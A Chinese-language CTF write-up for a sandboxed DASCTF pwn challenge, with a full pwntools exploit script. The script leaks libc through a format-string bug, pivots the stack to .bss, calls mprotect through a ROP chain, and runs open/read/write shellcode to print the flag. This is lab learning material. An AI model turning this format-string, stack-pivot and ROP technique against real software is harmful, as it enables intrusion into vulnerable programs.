checksec
静态分析
发现有沙盒,那么只能orw了
main函数发现了存在格式化字符串,并且这里的v3是dest加上输入的buf,但buf只给了8字节
然后存在栈溢出,溢出空间有0x10个字节,那么多半是得栈转移了
思路
目前有一个格式化字符串,一个栈转移,由于只能orw,那么想到在bss段上写orw然后通过栈转移开始执行,要想在bss段执行shellcode还有一个问题就是需要使用mprotect函数将bss段地址改成可读可写可执行。去哪找函数写上述内容呢?可以第一次栈转移返回到read函数,并且栈转移时修改当前的rbp为bss段上的一个地址,这样在read的时候就可以将rop链写到bss段上了
总结一下流程:
- fmt泄露libc
- 栈溢出rbp设置为bss段地址,返回地址为当前read函数
- rop链布置mprotect,写入orw
- 栈转移,rbp设置为rop链首地址-0x8
总结
复习了栈转移,又对栈有了新的理解,当我们覆盖rbp之后,一些局部变量的寻址是根据rbp来进行的(这就是为什么第二次调用read时是向bss段写入的而不是之前的栈地址)
原来orw还可以这样生成
一般写shellcode离不开mprotect
一般read函数都可以想想多次利用?(遇到了好几次)
exp
from pwn import *
context.log_level = "debug"
context.os = "linux"
context.arch = "amd64"
p = process(["./pwn"], env={"LD_PRELOAD":"./libc.so.6"})
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
gdb.attach(p)
payload = b'%31$p'
p.sendafter('leave your name:', payload)
p.recvuntil('Hello, ')
libc_base = int(str(p.recv(14))[2:16],16) - 0x24083
log.success('leak addr :' + hex(libc_base))
bss = elf.bss(0x100)
log.success('bss addr :' + hex(bss))
payload = b'a'*0xb0 + p64(bss) + p64(0x40136C)
p.sendafter('DASCTF:', payload)
pop_rdi = 0x401413
pop_rsi = libc_base + 0x2601f
pop_rdx = libc_base + 0x142c92
mprotect_addr = libc.sym['mprotect'] + libc_base
log.success('mprotect addr :' + hex(mprotect_addr))
shellcode = asm(shellcraft.open("./flag"))
shellcode += asm(shellcraft.read(3,"rsp",0x30))
shellcode += asm(shellcraft.write(1,"rsp",0x30))
payload = p64(pop_rdi) + p64(0x404000)
payload += p64(pop_rsi) + p64(0x1000)
payload += p64(pop_rdx) + p64(7)
payload += p64(mprotect_addr) + p64(0x404110)
payload += shellcode
payload = payload.ljust(176, b'a')
payload += p64(0x4040d0 - 0x8) + p64(0x4012e1)
p.sendafter(b'DASCTF:\n', payload)
p.interactive()